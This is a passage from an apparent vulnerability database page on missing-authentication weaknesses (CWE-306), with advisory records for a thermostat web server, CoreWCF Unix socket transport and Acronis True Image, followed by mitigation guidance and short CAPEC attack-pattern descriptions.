      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-24T21:15:52Z",
    "severity": "CRITICAL"
  },
  "details": "The embedded web server on the thermostat listed version ranges contain a vulnerability that allows unauthenticated attackers, either on the local area network or from the Internet via a router with port forwarding set up, to gain direct access to the thermostat\u0027s embedded web server and reset user credentials by manipulating specific elements of the embedded web interface.",
  "id": "GHSA-wj97-j26v-v8wp",
  "modified": "2025-07-24T21:30:39Z",
  "published": "2025-07-24T21:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6260"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-205-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WJPQ-6766-7F5J

Vulnerability from github – Published: 2026-06-19 20:46 – Updated: 2026-06-19 20:46
VLAI
Summary
CoreWCF: Unix Domain Socket PosixIdentity transport accepts connections that skip the security upgrade
Details

Impact

A CoreWCF service hosted on Unix Domain Sockets with the PosixIdentity client credential type (UnixDomainSocketBinding with Security.Mode = TransportCredentialOnly and Security.Transport.ClientCredentialType = PosixIdentity) does not require the client to perform the application/unixposix stream upgrade before dispatching messages.

Patches

Fixed in CoreWCF v1.8.1 and v1.9.1

Workarounds

Restrict filesystem access to the UDS socket file using owner/group/mode (e.g. chmod 0660 plus a dedicated group) so that only the POSIX users who are already authorized to invoke the service can connect at all. This makes the missing-upgrade behaviour equivalent to the operating system’s filesystem permissions instead of relying on framing-layer identity checks. Avoid relying on ServiceSecurityContext.PrimaryIdentity for authorization decisions, or back it up with an authentication-required authorization policy that rejects anonymous principals.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "CoreWCF.UnixDomainSocket"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "CoreWCF.UnixDomainSocket"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.0"
            },
            {
              "fixed": "1.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T20:46:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nA CoreWCF service hosted on Unix Domain Sockets with the PosixIdentity client credential type (UnixDomainSocketBinding with Security.Mode = TransportCredentialOnly and Security.Transport.ClientCredentialType = PosixIdentity) does not require the client to perform the application/unixposix stream upgrade before dispatching messages.\n\n### Patches\nFixed in CoreWCF v1.8.1 and v1.9.1\n\n### Workarounds\nRestrict filesystem access to the UDS socket file using owner/group/mode (e.g. chmod 0660 plus a dedicated group) so that only the POSIX users who are already authorized to invoke the service can connect at all. This makes the missing-upgrade behaviour equivalent to the operating system\u2019s filesystem permissions instead of relying on framing-layer identity checks.\nAvoid relying on ServiceSecurityContext.PrimaryIdentity for authorization decisions, or back it up with an authentication-required authorization policy that rejects anonymous principals.",
  "id": "GHSA-wjpq-6766-7f5j",
  "modified": "2026-06-19T20:46:52Z",
  "published": "2026-06-19T20:46:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/CoreWCF/CoreWCF/security/advisories/GHSA-wjpq-6766-7f5j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/CoreWCF/CoreWCF"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CoreWCF: Unix Domain Socket PosixIdentity transport accepts connections that skip the security upgrade"
}

GHSA-WJV5-M9XX-WPJ6

Vulnerability from github – Published: 2025-01-02 15:31 – Updated: 2025-01-02 15:31
VLAI
Details

Sensitive information disclosure due to missing authentication. The following products are affected: Acronis True Image (macOS) before build 41725, Acronis True Image (Windows) before build 41736.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-55538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-02T15:15:23Z",
    "severity": "MODERATE"
  },
  "details": "Sensitive information disclosure due to missing authentication. The following products are affected: Acronis True Image (macOS) before build 41725, Acronis True Image (Windows) before build 41736.",
  "id": "GHSA-wjv5-m9xx-wpj6",
  "modified": "2025-01-02T15:31:59Z",
  "published": "2025-01-02T15:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55538"
    },
    {
      "type": "WEB",
      "url": "https://security-advisory.acronis.com/advisories/SEC-2209"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.